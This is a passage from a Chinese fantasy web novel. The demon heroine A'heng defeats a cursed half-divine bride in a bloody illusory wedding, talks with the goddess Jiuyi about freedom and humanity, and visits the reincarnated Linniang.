阿姮瞥一眼那团燃烧的烈火,她再度看向布坊大门。 办喜宴的地方,竟然一点声响也没有。 她走近,用力一推,大门纹丝不动,似乎是从里面被锁上了,此时门缝中一寸冷冽的光划过她的眼皮,阿姮不禁俯身向门缝中看去—— 偌大的院中竟无一分烛火,唯有月光穿过重重竹竿上晾晒的染布之间的缝隙,向那四四方方的巨大染池中撒下冰冷的光辉。 染池中似乎堆积着乱布,池中的水漫出来,无声淌过一桌桌宴席之下,月光所照,席上金瓯玉碗,光映如霞。 阿姮目光缓缓移过,席上竟无一宾客。 她忽然听见一阵隐秘的,微弱的“嚓嚓”之声,她循声而望,目光越过一桌宴席之下,恰逢长长的染布被风吹起,顷刻露出一道鲜红的背影。 正是这一刹那,那影子回过头来,素白细长的手中赫然攥着一支金簪,浓烈的血液顺着簪身滴落,寒光闪过阿姮的眼,那金簪瞬息飞来,穿过门缝,阿姮立即抬手,金簪穿透她手中的东西,阿姮侧身翻掌打出红云烈焰,大门顿时轰然粉碎。 她望向门内,染布如幔,被夜风吹得猎猎作响,凛寒的月光断断续续落在那影子鲜红的裙摆,映出一片金线钩织而成的莲花祥云纹,那分明是一副女子的身形,阴冷的月华之下,女子凤冠霞帔,红妆艳绝,可她那双眼却长满了漆黑的翳,根本不见眼白。 女子似乎也想看清阿姮,金簪不知何时又回到她手中,锋利的簪尾划过她的眼,眼翳被割开,她的眼睑浸满了血,她却清晰地看向那空荡荡的大门外,茫茫白雾幽幽浮动着,那红衣少女怀中抱着个极漂亮的布娃娃,一副白皙的面容被檐外红绢灯笼的光影映出几分胭脂般的颜色,少女面露笑容,秋波流慧:“我想我贸然上门讨喜酒喝,总归是有些冒失的,所以特备薄礼相送……只不过再是薄礼,你也没必要如此糟蹋吧……新嫁娘?” “喜酒?”女子浑浊的目光缓缓掠过地上散架的锦盒,四分五裂的瓷片,以及一地乱糟糟的胭脂水粉,她再度凝视那少女,鲜红的唇忽然微微扬起,“那便进来喝一杯吧?远客。” 她朝阿姮招招手,竹竿上的染布立即趁风而起,朝阿姮飞去,阿姮抬手施法,红云烈焰顷刻烧穿染布,她脚尖轻踏火光飞身跃起,又是数丈白绫笼盖而来,她伸手之际,万木春在她手中凝聚成形,锋锐的枝尖划过数道白绫,裂帛之声不绝于耳,红云缠裹金电荡开一片气流,金红两色几乎将这偌大的院子照得通明。 明光所照,满席金瓯玉碗顷刻化为乌有,珍馐尽成蜥蜴毒蛇。 “喂,这算什么待客之道?我可不爱吃这些。” 阿姮露出嫌弃的神情,转过脸,此时她方才看清那巨大的染池中根本不是什么布料,而是一具具堆积的尸体,染池里的血水漫出来,浸透着每一寸砖缝。 而那女子脚边亦有一具死尸,那尸体身着鲜红喜袍,整个胸膛像是被细长尖锐的东西反复地扎,反复地扎,扎得血肉模糊,甚至凹陷成一个血洞。 阿姮看向满地碎裂的白绫,微弱的紫火闪烁其间,她抬起脸,眉毛一挑:“你是天衣混血?” 女子却像是被她刺激,艳妆遮不住她那张脸顷刻的狰狞,她整个人朝阿姮飞扑而来,阴风吹起满地碎布,又化数丈白绫缠向阿姮颈项。 阿姮却纹丝不动,顷刻间,女子对上她的双眼,只见原本漆黑的眼瞳竟然显出诡异的暗红,一阵冷风呼啸而来,竟如千刀万刃般刮破女子的皮肉,撕裂白绫。 女子似乎一愣,转而却更加疯狂地扑向阿姮,一时间,竹竿倾倒,染布坠地,桌塌椅碎,整个院子几经摧折,不成样子。 红雾擦过女子侧脸,剧烈的气流拂落她头上凤冠,顿时满头乌黑的发丝垂落,她整个人被震飞出去,后背重重撞上廊柱,倒在地上。 她想要起身,却感觉到一阵凛寒透骨的风压着她,穿过她的血肉骨髓,将她死死钉在地上,她用尽力气,每一寸青筋都在惨白单薄的皮肤下隆起,却始终无法挣脱这种诡秘的束缚。 阿姮走近,以万木春焦黑的枝尖抵住女子的咽喉。 “你杀不死我……” 女子睁大双眼,之前方才撕开的眼翳此刻又重新长满她的眼睛,她什么也看不清,却自顾自地笑:“你根本杀不死我!” 冷白的月辉下,没有凤冠流苏遮掩,更展露女子一副冶容秀骨,阿姮垂眸睨她:“你得意什么?身为天衣混血,死不了是什么天大的好事吗?” 她轻飘飘一句话,却重重碾碎女子脸上所有的笑容。 “你说得对……你说得对!” 女子眼中满是漆黑的翳,她的神情陡然狰狞,眼睑中积蓄的血液滑下惨白的面颊:“难道我想要这样的身份?难道我想做一个生来便被诅咒的孽种?你也知道吧……像我这样的孽种……死不了才是最大的折磨!哈哈哈哈哈哈……” 她忽然笑得张狂,血泪淋漓:“可他不懂,这些该死的凡人不懂……他们都以为长生不死便是这世上最大的欢乐……” 阿姮闻言,侧过脸扫了一眼不远处那具身披喜服,面目全非的死尸,他全身上下都被金簪扎成筛子,早已不像个人样了。 “他们威胁我,利用我,想挖我的神窍却怎么也杀不死我,”女子垂眉,鬓边浅发拂过她瘦削的脸颊,她忽然又变得轻声细语,“他们让他来骗我……骗我说我可以做个正常人,骗我说,我可以得到爱……” 她抬起脸,声音陡然尖利:“可是他强迫我!强迫我这个孽种生下来一个小孽种!他们以为我的孩子就算不能继承我的神窍,他的心脏也应该能成全他们对长生的全部妄想!蠢货,都是蠢货!一个备受诅咒的孽种所生下来的孩子,唯一不变的,便是继承身为孽种的诅咒!” “一百年了,我好不容易才将他们这些人凑在这一桌喜宴上,你知道我有多爽快吗……”女子笑个不停,微微侧过脸,循着阿姮的方向,“怎么?你怜悯他们吗?” “原来是前世的恶果。” 阿姮看了一眼染池里堆积的死尸,与其说这是一场婚宴,不如说,是这天衣混血为自己准备的狂欢:“他们前世竟有这样的恶行,怎么阴司却没有惩治?竟还让他们今生好好做了人?” “阴司?”女子像是听到了什么好笑的笑话,“哈哈哈哈哈……我是天衣孽种,身负紫目神窍,身处轮回之外,他们这些人对我的所有恶行,又怎会出现在阴司的账本上呢?这世上任何凡人欺我,辱我,皆不会遭受所谓报应!” 她的脸上有怨毒,有痛苦,但很快,她又平静得不像话:“赤戎封印之下的同族都以为这个人间是那么的好,可是我却想……我却想……” “倒不如在赤戎神山下的炼狱里,早早成为你的食物。” 阿姮握着万木春的手一紧,眼瞳震颤,她声音阴冷下来:“你知道我是谁?” “你曾是天衣神族最大的希望,神王谕令,所有天衣人,包括我们这样的孽种……都知道你的存在,我虽不曾见过你,可是,阿姮姑娘,你知道吗?你身上……有他们的血味。” 女子鲜红的唇含着讥讽的笑。 他们的……血味。 几乎是顷刻间,昏暗的石壁,巨大的丹炉,尖锐的惨叫一一在阿姮眼前复现,胸腔里的那颗心脏没由来的狂跳。 “你如今真是太像一个人类了……” 女子说道:“可为什么呢?你不是妖吗?你明明曾因天衣火种而拥有过那样巨大的力量,你还因此而获得了让这个世间重归混沌的能力……可你竟然主动戴上神给你的枷锁……阿姮姑娘,你真傻!” 她语气越发激烈:“拥有那样的力量多好啊……你可以掌控一切,你可以轻易地断人生死,任何人,任何事都不可能再轻易伤害你!你却把自己从一个强者变成弱者!你戴上他们给的枷锁,等同于丢弃你本应该有的自由!你知不知道到底什么是自由……” “天衣人给你自由了吗?” 阿姮俯身,盯住她。 女子神情骤然一僵,脸颊的肌肉轻微地颤动,像被人一把扼住了喉咙。 “我凭什么相信他们所谓的真正自由?” 阿姮说道:“以绝对的力量居高临下主宰万物,践踏一切生命,剥夺一切尊严,要天地万物以你的意志为意志,以你的好恶而生死……这不是自由,是被粉饰的欲望。” 女子无言,阿姮却顷刻察觉背后炁的波动,她反手一把捉住那根朝她后心袭来的金簪,幽冷的光线之下,金簪上未干的血迹沾了阿姮满手。 白烟浮动,那女子忽然暴起,白绫缠住阿姮的脖颈猛然一拽,阿姮冷着脸,万木春的枝尖倏尔用力刺入女子胸腔。 鲜血迸溅,轻微的机窍转动之声隐约从血肉深处传来。 阿姮抬起眼帘,撞见女子那张越发雪白的脸,说不清是妒恨还是羡慕,她满口是血,竟然轻声笑:“我的孩子像他父亲,没有继承神窍,但当我看到他眼睛里的翳病,我知道,他也逃不开这种刻在血脉里的诅咒……像他那样的小孩,注定活着的每一日都会与我一样痛苦,他无法做一个正常人,这个世上不会有人爱他,所以,我那时候就像这样……” 白绫紧紧缠住阿姮的脖颈,自她胸腔里浮出的细碎紫火映照她癫狂的神情:“像这样一点,一点地把他勒死了!可笑的是……那个时候,我的神窍终于能化出本命法器,可这法器……却偏偏……偏偏是这根白绫……我也想用它勒死我自己,可是不行,不行啊……” 她忽然一把攥住阿姮的手:“你可以杀死我吗?你杀了我吧?好不好?” 万木春的枝尖因女子忽然的举动而更深入她的胸腔,刺穿血肉的剧痛令她浑身颤抖,可那副神窍却始终完好地在她体内运转,她变得更加疯狂,她的指甲在阿姮手背上挠出血痕。 她语无伦次,一会儿说,阿姮姑娘,救救我。 一会儿说,求求你,杀了我。 “我的血肉……我的一切也都可以为你所用!好不好……好不好?” 她漆黑的眼翳里流出血来。 阿姮却因她的这些话而不受控地想起从前深渊之下那座长年不熄的巨大丹炉,她想起那些哀求,那些哭喊,那许多被她旁观过的痛苦,被她吞噬的生命。 阿姮满脑子都是眼前这女人所说的那句话。 她的身上……有那些人的血味。 阿姮心绪陡然大乱,难以抑制地干呕起来。 此时,夜风仿佛被她凌乱的心绪触碰,更加凛寒地涌来,她握着万木春的手难以抑制地发抖,胸中如同针刺,下意识要抽回枝尖的刹那,那女子却用一双手紧紧抓住她,鲜红的指甲更深地嵌入她手背皮肤,鲜红的血珠顿时顺着指节滑过万木春,滴落女子胸口的血洞,狂风大作,卷起阿姮颈项间的白绫,她忽然听到一声清脆的碎裂声。 阿姮沾着血迹的眼皮微颤。 女子胸口的血洞里不断响起碎裂之声,她浑身剧烈的颤动,但她却忽然觉得有什么晃了她的眼,她的视线恢复清晰的刹那,她猝不及防看见朗朗月辉之下,面前这个乌发红眸的少女。 眼翳…… 她的眼翳竟然消失了! “诅咒……”女子睁大一双眼睛,一张脸扭曲极了,又是痛苦又是震惊,嘴唇颤抖着,“我的诅咒……解了?” 胸腔里的紫目神窍尽碎,她的神情顷刻定格,那像是欣喜,是她对终于可以死去的欣喜,却又好像不甘,不甘自己终于摆脱诅咒却只能去死。 阿姮撤回万木春,却见女子胸腔中细碎的紫火融入她的血肉,紧接着,那副破碎的神窍,竟然在她胸腔里化成一颗血红的心脏。 阿姮满眼惊谔。 四周白烟忽浓,偌大的布坊,满地的死尸顷刻化为乌有,阿姮环视四方,只见冷雾茫茫,枯草连天,荒坟百座。 夜幕浓昏,寒鸦声声,更衬此地荒凉死寂。 忽然间,阿姮听到一阵踩过衰草枯枝的步履声,她一下回过头,只见夜色之下,风烟之中,那椎髻布裙的妇人正在不远处,静静地望着她。 那正是阿姮在集市上见过的卖布妇人。 “是你吧?”阿姮转过身来,手中的万木春还在滴血,却不知为何微微震颤,她一双暗红的眼盯住那妇人,“是你引我来的,为什么?” 那妇人走近,目光越过阿姮,看向地上那具女子尸体:“她百年前被人所欺,一副残缺的紫目神窍却因此而催生出本命法器,她费尽心思将他们找到,那夜喜宴上她大开杀戒,无论是罪有应得的,还是无辜的,凡是前来赴宴的,全都被她杀了个干净,但她也疯了,她从此沉浸在那夜的杀戮中,久久盘踞于此,在她自己编织的幻境中一次又一次地报仇。” “你到底是谁?” 阿姮质问。 妇人平平无奇的脸上露出一个笑容,张口声音却变了:“你不认得我吗?我可是你的……表姐啊。” 阿姮神情一滞,这声音…… 这一瞬,浓烈的风雾擦过妇人衣摆,她顷刻间竟然换了副面容身形,只见她螺髻庄严,娥眉秀曼,意致犹如清霜凛雪,又因她含笑的神情而有几分春风细雨般的柔和。 “你是……万木春?不对,”阿姮不会错认这声音又反应过来那声意味不明的“表姐”,她神情几经变幻,“……你是九仪?” 原来,一直以来存在于万木春中的那道声音属于九仪。 阿姮瞥一眼手中的万木春,冷笑起来:“枉我还以为万木春真成精了,你堂堂天地之母,竟也有如此闲心戏耍我这个妖邪?” “表妹这是哪里话。” 九仪面带微笑:“我可从没承认我是万木春,只是你那样以为,我便也没有多加解释罢了,这本就不是什么重要的事,不是吗?” “那什么才重要?” 阿姮神情十分不善。 九仪侧过脸,看向荒草地里那天衣混血女子的尸体,说道:“将她埋了比较重要,你方才被她触动,心绪大乱,引发些许的炁钻入你的真身化成了混沌之气,虽说只是一点点,既不能破坏神的精纯清气,又不能将妖怪打回原形,但如今所有的妖都因你而成了惊弓之鸟,这么一点点风吹草动,足以触碰他们敏感的神经,你也不想一堆妖怪发现你的踪迹,追着你杀吧?虽说没人能取你性命,但这也算一种麻烦,不是吗?” 阿姮一瞬随她目光望去。 那女人已经死了,可阿姮没办法将目光从她胸口袒露出的血红心脏上挪开。 是她的混沌之气吗? 还是她的血呢? 她又想起,万木春身为九仪的神器,蕴藏着天地之间无限的生机。 也许三者都有,总之,她竟然解开了这个女人身上刻骨的诅咒,更令其神窍化为了血肉之心。 “你当初明明想杀我。” 山间冷风吹得荒草簌簌作响,阿姮忽然说道。 曾在赤戎,那道铺天盖地的金网明明可以轻易将她粉碎。 “我原本是要杀你,”九仪清霜般的眉眼间一片坦然,“你是天衣人的法宝,是他们造出来祸世的东西,我本该杀你,但你做了一件事。” 阿姮闻言,对上她的目光。 “万千杀机当前,正是危难之际,你却将那水鬼霖娘推开了。” “就因为这个?” “就因为这个。” 九仪说道:“阿姮,你知不知道,即便是人,这世上也不是所有人都能在自己的生死关头在乎别人的生死,那个时候,我便知道了一件事。” 九仪望着她:“我知道,你从来不是一件东西,你是活生生的生命。” 阿姮怔住了。 暝晦夜色下,树木浓昏,九仪周身散发的淡淡金光竟然使得这片荒坟也不那么阴森,她对阿姮说道:“何况,我与你本有一桩因果,我曾镇压天衣人之时,以万木春劈开混沌,而你……是被我的剑意送入神山之下的最后一缕混沌之气。” 山风呼啸,阿姮许久才发出声音:“花草虫鱼,飞禽走兽皆是因你劈开混沌,分化清浊而异化成妖,所以我……也是因你才有机会开启灵智吗?” 九仪轻轻颔首:“我触碰你,看清你我的这段因果,我便知道我不能杀你,一是因为你有你的意志,你的生命,二则是因为,我将这视作我与天衣神王的最后一个赌局,他以为,他可以掌控你,让你作为一件器物为他所用,但我觉得,你不会甘心。” “你看着我来到人间,你一言不发地注视我所有行止,”阿姮盯着她,“若我心甘情愿地走上一条他们所期望的道,你便会毫不犹豫地杀了我,是吗?” 天上的神仙,地上的妖魔都万分不解,万木春怎么会成为她这样一个妖邪的所有物,但阿姮早就有所察觉,若她放纵自己嗜血的本能,若她沉沦于无尽的杀戮,万木春绝不会放过她。 她曾经一直想要让万木春真正属于她,也是因为她早已察觉这份危险。 “可你没有,不是吗?” 九仪说道。 阿姮垂下眼帘,好一会儿,说:“那是因为我足够幸运,来到这个世间,遇见的都是对我心存善意的人。” 九仪闻言,却含笑摇头:“不,阿姮。” 阿姮茫然地抬眸。 “霖娘之怒,璇红之恨,谢女之喜,惠山元君之惧,孩童小山之嫉恶如仇……你经过他们的七情六欲便有许多的东西在你心中扎根,难道是那泥妖不够贪?是那吕献不够狠?还是那九尾狐妖不够恶?阿姮,你早已遇见过诸多恶意,只不过你从来没有将他们放在眼里,亦不曾被他们吸引,你眼中所见,只有这世间给你的每一分善意。” 九仪说道:“记得我曾说过什么吗?本心,是比本能更重要的东西。” 阿姮愣愣的。 山风吹过她的脸颊,不知为何,竟然分毫不凛冽。 “我可以问你个问题吗?” 阿姮再度看向她。 “自然可以。” 九仪颔首。 阿姮举目一望,视线越过枯草荒坟,昏黑的夜色下,远处的山阔连绵隐约:“你说,为什么在这个世上神的德行都是为了凡人,妖的修行也终会化成人形……为什么是人呢?连我……也这么想做人。” 这个问题已经困扰阿姮很久了。 “你在人间八十六载,还不明白吗?”九仪笑眼盈盈,“表妹。” “……” 阿姮脸色顿时变得很臭:“做神仙别这么小气吧啦的。” 多少年的老黄历了,她怎么一直翻一直翻。 九仪抱起双臂,山风吹着她的衣摆拂过草木,却化成淡薄的影穿丛而过:“人类的五感与动物不同,动物的五感很简单,只用来警惕天敌,捕杀猎物,但人类却不一样,人类出生之后的成长,并非一般意义上的身体和年纪的成长,人类听得懂父母身教,能理解对错,从孩童到成人,人类一直在凭借自己感知世界,产生各类情感,知道生命应该有意义,明白死亡又意味着什么,敬畏之心,是人类最大的本事。” “所谓开启灵智,实则是万物生灵借此有了一个拥有人性的机会,纵然人性之深邃,深不可测,难以度量,善与恶总在无休止的博弈,但只有人性中最光辉灿烂的部分才能创造真正的文明……这些,你能明白吗?” 阿姮只听明白一些,但她并不想诚实地回答。 九仪却笑着说道:“不明白也没有关系,凡人的生命短暂,所以他们拥有最敏锐的五感来体会生命中的一切苦乐,你可以慢慢来,这是白泽对你的祝福。” 白泽。 阿姮听到这个名字,好似针尖刺了一下她的耳心,她一下紧紧盯住九仪:“你是天地之母,连你……也不能让他死而复生吗?” “这世上哪有什么死而复生?人不能,神也不能,白泽当初在赤戎魂魄飞散,他是祥瑞化身,他的魂魄也是福泽,他要完全消散,至少还要一年。” 九仪的目光忽然落在她的身侧,说道:“他一直在你身边,你却感觉不到吗?” “你说……什么?” 阿姮声音一颤,她猛地望向自己身侧,那里明明什么都没有,她转过脸:“你什么意思……” 她的声音戛然而止。 山间白雾若缕,九仪的身影竟然消失不见了。 山风潇潇,树影婆娑,天边雷声隐隐,阿姮气急败坏,环视四周:“九仪!你出来!你把话说清楚!你出来!” 雷声,风声齐作。 哪有什么九仪,根本就像是阿姮的一瞬幻梦。 阿姮在风中站了许久,天边流光冷冽,时不时照亮这片山野,她一声不吭地用万木春挖了大坑,将那天衣混血的尸体埋了进去。 她忘记了哪里才是下山的路,抱着心爱的布娃娃,像个游魂一样往前走,腰间法绳缀挂的珠饰发出一阵又一阵的清音敲击着她的耳膜,九仪的话不受控地在她的心里疯狂地生根发芽。 “他一直在你身边,你却感觉不到吗?” 这声音回荡在她的脑海,顷刻扎痛她的心脏。 雷声轰隆,大雨忽至,浓烈的雨气铺天盖地,阿姮却听到一串脆响,她仰起脸,飞火流光闪烁冷冽的光影,照亮这山间最高最碧绿的一簇野芭蕉,硕大的芭蕉叶歪斜下来,遮过她的头顶,轻柔地拂开风雨。 四周雨声沙沙,白雾融融。 阿姮望着那片碧绿的芭蕉叶,眼眶骤红,风中,是她小心翼翼,生怕落空的声音: “小神仙……是你吗?”《 》 第91章【VIP】 第91章 第91章 “程净竹,我想吃果子。”…… 山雨匆匆下了半夜, 声息渐隐,阿姮一路下山,适逢东曦既上,朗照千峰百嶂, 大片湿润的白雾擦淡融融碧色。 日光初生, 天色呈出一种十分冷冽的青, 宽阔整齐的田野之中已有农人劳作的身影,阿姮心不在焉地穿行于长长的田埂,风声稍急, 她便侧目, 飞鸟扬翅, 她便仰头, 四下环顾,漫无目的。 她在那簇野芭蕉下站了很久, 久到雷声不复, 山雨初停,她才终于确定, 那不是他。 可如果他还在, 那么他会变成什么呢? 阿姮不明白福泽到底是什么, 那似乎是比风还要虚无缥缈的东西, 她不知道九仪所说的他还存在, 到底是怎样存在。 他会看见她,也会感知她吗? 忽然有什么东西发出叫声,阿姮一下低头, 看见脚边一只青蛙,肚皮雪白,背上翠绿, 一双眼睛黑漆漆,傻乎乎的,她拧起眉头,一脚把它送到水田里。 小神仙绝不可能是这玩意。 阿姮面无表情地收回脚,目光却忽然凝在自己的鞋面。 她走了这么久的山路,山间还曾下过一场雨,可她此刻才忽然意识到,她的鞋子竟然这样干净,干净到没有分毫的尘泥。 她想起从前若是鞋子脏了,或湿了,她立即就不喜欢了,极随意地扔掉,宁愿光着脚,那时,总是小神仙给她买的鞋子。 可是,可是……这些年,她给自己买过很多鞋子,喜新厌旧到极致,以至于她从来没有注意过,她明明遇见过数不清的雨雪,也走过很长很长的路,但好像她的脚下却从来没有过半分泥泞。 一旦开始这样想。 好像从前一直不曾注意过的许多事都一一清晰在她的眼前,邕宁国有碧霄山,传闻千峰奇绝,天下第一,她去时,正遇大雪封山,寂无行旅,她夜宿山中枕雪而眠,醒来发现大雪崩腾,却皆与她擦身而过。 岐泽国有玉龟洞,相传夕阳最盛之时,洞中玉龟会显出栩栩如生的影,那时阿姮去得晚了,登顶入洞之时,天已昏暮,她没看见什么玉龟影子,她失望欲归,却遇一丛萤火入洞,化鱼又化龙,久飞不去,可比什么破乌龟好看多了。 ……很多,很多阿姮从前不曾细想过的东西,此刻浩浩汤汤,纷至沓来。 人间八十六年,她经过诸般风雨,碧海苍梧,她曾以为,她从头到尾都是孤独的。 阿姮不受控地想到赤戎。 她想到赤戎神山那一洞花草,想到那些莫名其妙缀满枝头的果子,她曾以为也许是因为许多的神仙化身封印笼罩神山,山中受到他们的精纯清气影响,所以才会开出那些本不属于赤戎的花草,才会拥有那样鲜活的生机。 阿姮僵立田垄,久久垂眸。 “……姑娘?” 水田里水声哗啦,一道年迈的,迟疑的声音传来,阿姮缓缓回神,转过脸,清晨湿冷的春风迎面而来,拂动她耳边浅发。 那是个粗布麻衣打扮的老翁,头发胡子都是花白的,裤腿高高挽起,枯瘦的腿一半陷在污浊的水中,他毫无防备撞见少女一双湿润发红的眼,愣了一下:“这是咋了?看你小小年纪,遇上什么难事了?” 阿姮扫过他那张老得发皱的脸,垂眸看见他放在田埂边的旧篮子,那里面似乎用油纸包着什么东西:“这是什么?” “哦,”老翁将脏兮兮的手在水里面洗了洗,将篮子里的东西拿出来,掀开油纸包,“这是麦饼,里面还搁了些自家的咸菜腌肉什么的,是我家老婆子让我带着吃的早食,你是不是饿了?要是不嫌弃……” 他话还没说完,阿姮便将他手里的东西拿去了。 “……” 老翁闭上了嘴。 阿姮低头嗅了嗅,有股麦香味,她咬了一口,里面的咸菜和腌肉混合着麦饼纯粹的香气竟然是十分拙朴的好吃。 老翁看着她,笑了笑:“味道还行吧?我孙女儿很爱吃这个。” “是还行。” 阿姮抬手将一样东西扔到他篮子,转身就走。 老翁低头往篮子里一瞧,眼睛顿时瞪得老大,真是……好大一块银子! 阿姮一边吃麦饼,一边往田野尽头去,水田里农人们一边忙活着,一边说着话,有人说天还是好冷,有人猜测着午时媳妇会送什么饭,还有人摸着秧苗说,今年可一定要风调雨顺。 阿姮经过凡人们的热闹,将要踏上山径,四周风声骤然凛寒,她脚下一顿,立即回过头去,看向那一团自天边袭来的浑浊气流,浓烈的妖气迎面而来。 风中的炁先一步制住那团东西,阿姮一巴掌扇过去,红云烈焰轰然灼烧,将那团东西顷刻震飞出去。 阿姮举目一望,红云烈焰划过天际,那东西也算是哪来回哪去了。 这些妖怪还真是稍微闻着点味儿就能缠上来。 “狗皮膏药。” 阿姮咬一口饼,往前去了。 “天啊!那是什么!” 田野里,人们发现那阵缠裹着金色流光的红云,比流霞更灿烂,融在天边的云层里,简直是奇观。 “这样好的天象,今年一定是个好年!” “是啊!一定是好年!” 晨间的雾气渐淡,阿姮回到绿牡丹城中,麦饼早已经吃光了,她找了一家酒楼,那跑堂热情极了,阿姮早在书上看过绿牡丹城的特色,也不要什么单子,张口点了一大桌,引得邻桌无不侧目。 珍馐摆满一桌,阿姮让跑堂搬来一把更高的椅子,还要两副碗碟,跑堂摸不着头脑,但还是照做了。 阿姮将布娃娃放到椅子上,将碗筷摆好在它面前,这才心满意足地坐下,她忽有所感,转过脸:“你看什么看?” “……呃,”跑堂猝不及防与这少女目光一对,他的脸迅速涨红起来,语无伦次,“早,早春寒凉,我……我这便去替姑娘温一壶酒来!” 绿牡丹城以花酿酒,极富盛名,那跑堂飞快温好了酒拿了来,阿姮倒了两杯,一杯给自己,一杯放到布娃娃面前。 花酿与果酿不同,没有那么甜的滋味,入口后渐渐才能体会那一分辛辣过后清香的余味,阿姮抿了几口,像自说自话:“那松南岭土地曾说过,有朝一日,我会知道他那时请我的那顿酒有多么平庸。” 她又抿一口,说:“我在人间这些年已抵得过一个凡人的一生,凡人说哪座山峭拔奇绝,我便去登哪座山,我像他们一样登山,像他们一样观山景,见天地,他们说哪处瀑布廉纤如雨,气势如虹,我便去观瀑,像他们一样不远万里,攀绝云雨,什么大漠,草原,丘陵……世间凡人所见,我亦亲见,凡人的珍馐美馔,我亦一一尝遍,至今想来,诚如土地所言,他酿的酒,实在平庸。” 阿姮抬眸,看向那个被她精心装扮过的布娃娃:“小神仙,你若在我身边,为什么不能给我一点点回应呢?你告诉我,我这样活着,我这样的自由,是你心中所期望的吗?” 日光从窗外迎面而来,布娃娃宝石做的眼睛是那么清透明亮。 忽然的清风拂过阿姮的脸颊,她眼睛一亮,周遭的炁随她意动,狂风般涌入窗来,她这桌自是纹丝不动,左右邻桌却被这狂风搅得桌倾碗碎,一地狼藉。 风中的炁没能发现任何异样,阿姮又失望起来,转过脸,只见几桌客人茫然地望向她这边,没明白哪里来的一阵风竟然如此猛烈,有个老头连头上的帽子都不知被风刮到哪里去了,捂着稀疏可怜的头发,一脸不知所措。 “喂。” 阿姮看向站在不远处的跑堂,扬起下巴:“照我这些给他们各来一桌,都算我的。” 一时间,左右皆响起连连感激之声。 “哎呀,多谢……真是多谢姑娘了!” “谢过姑娘!” 阿姮面不红心不跳,坦然接受他们讨好的道谢,埋头吃起桌上的饭菜,时不时还往布娃娃面前的碗碟里夹一些她认为好吃的,乐此不疲。 风中,有法术触碰炁发出细微的声响。 阿姮一顿,抬起脸,只见对面的满窗明光飞来一簇金光,转瞬在她眼前凝聚成一行字痕—— “三月十二日,霖娘降生于东炎国宛州城松青巷赵家。” 阿姮盯着这行字。 多年前,峣雨曾答应过她,若霖娘转世,她一定告知。 阿姮一下丢开筷子起身,抱起布娃娃,扔给跑堂一大锭银子,转身朝酒楼大门外走去。 从乌鹊国的绿牡丹城到东炎国的宛州,常人可能要走个大半年的时间,阿姮却只用了三天,宛州的三月,亦是繁花似锦,芳香满道。 今日晴光无限,阿姮几经周折,终于找到松青巷。 松青巷里,只有一户人家姓赵,阿姮站在那座高大宅院前,审视着那朱红大门上被日光照得明亮的金钉,看来,霖娘今生算是托生到一个富贵窝里了。 那大门忽然开了,阿姮站在石阶下,只见门内衣履鲜洁的中年男人小心怀抱着襁褓中的婴孩,十分恭谨地将一个头发胡须都白透了的老翁送出门来。 在阶上,那中年男人笑着对那老翁俯身:“真是多谢神医了,贱内本就有头疼症,产下小女后,这几日头疼得更凶了,若不是神医您的方子,只怕她还要受苦……” 那老翁衣着素净,虽然年迈,那双眼却柔和明亮:“太守大人不必如此,尊夫人的病只要好好服药,至多半年,便会根除。” 说着,老翁的目光忽然落向他怀中的婴孩:“至于小姐,她很健康,想来,必会好好长大,一生无忧的。” “赵某谢过神医吉言了!” 赵太守看向怀中的女儿,笑得合不拢嘴,余光忽然触及阶下一道红影,他不由望过去,只见那少女风流秀曼,可谓神仙不殊,赵太守心中甚诧,不由问道:“姑娘是……” 此时,那被称为神医的老翁亦随赵太守目光看向那少女,他似乎一怔。 “上清紫霄宫药王殿,特来恭贺太守大人喜得明珠。” 忽然,一道年轻的声音从不远处传来,赵太守与众人不由循声望去,只见一青衣修士身背金剑,大步流星而来。 赵太守看清那人眉心的朱砂印痕,大惊:“竟真是上清紫霄宫药王殿的仙长?” 那人看起来十分年轻,阔步来到少女身边,看了她一眼,对赵太守笑道:“这位姑娘乃是我的朋友,我们今日皆是为恭贺太守大人而来。” 赵太守显然受宠若惊,连忙俯身:“赵某何德何能,竟能得仙长还有……呃,仙姑亲临寒舍,还请二位随赵某入府,还有神医,要我说,神医您也别着急走,我们家的宴席还要再摆三日呢!” “不必了。” 阿姮说道。 她轻抬手指,红雾拂动,阶上凭空乍现一只红色的箱笼,赵太守与几个家仆皆吓了一跳,瞪圆眼睛。 “这里面都是些胭脂水粉,钗环首饰,虽不是多难得的东西,却是我游历四方精心挑选的,我想太守大人你的女儿应该会喜欢的,”阿姮缓缓上阶,望着赵太守怀中熟睡的婴孩,她顿了一下,转过脸看向那青衣修士,“她怎么红红的,丑丑的?” 赵太守脸上的感激之情骤然卡住了。 “……你能不能住嘴。” 修士的脸也僵住了。 “才出生的婴孩都是这样,再过些时候就好了。” 一边的神医忽然出声。 尴尬的气氛好转了点,赵太守心里有点不舒服,但见阿姮看了过来,他还是下意识扬起个得体的笑容,阿姮盯着小婴孩,对他道:“也许等她长大,那些胭脂水粉都不能用了,但那些颜色你可以照着买,我把每一家铺子都记下来了,还有,里面有一把菱花小镜,那个你一定要给她。” 赵太守垂首:“多谢仙姑赐福,赵某一定谨记。” “给她取名字了吗?” 阿姮问。 赵太守笑了一下:“还不曾取名,只因我思来想去,总想取个更好的。” 阿姮盯着襁褓里的小小婴孩,说:“便叫她霖娘,甘霖的霖,如何?” “甘霖……”赵太守想了想,欣喜道:“好,甘霖好啊!小女便叫霖娘了,多谢仙姑赐名!” 青衣修士将一只玉葫芦递给赵太守:“这些丹药延年益寿,算我赠予太守大人和尊夫人的。” 赵太守也不知今日是怎么了,又有神医上门救苦,又有仙长仙姑赐福,他简直开心极了,忙连声道谢。 “回去吧,春寒料峭,莫让孩子受风。” 青衣修士说道。 赵太守见他们实在没有入府做客之意,便只好令家仆抬起箱子,往门内去了。 大门渐渐合拢,那神医凝望片刻,转身,走近阿姮。 阿姮不明所以,抬眼看他,这一看,她拧起眉头,总觉得这老头好像有那么点熟悉。 “阿姮姑娘,积玉仙长,别来无恙。” 他笑了笑,说:“在下柳行云。” “……什么?”阿姮愕然,猛然将他上下打量一番,“柳行云?你居然还活着?” 青衣修士正是积玉,他也十分诧异:“柳公子,你竟然是柳公子?” 不对啊,柳行云当年便是二十来岁,这么多年过去,他这寿数简直惊人。 “自赤戎一别,已八十六年,”柳行云叹了口气,“我带着她在人间五十九年,直到峣雨判官对我说,她可以入阴司等待转生,此后我继续行走山川治病救人,我本也不知我为何有如此寿数,后来有位在人间游历的神仙告诉我说,我应该是吃了天上的东西,所以才有这样的造化。” 柳行云看向阿姮:“我左思右想,似乎只有阿姮姑娘你用来砸我的那颗果子较为可疑。” “……” 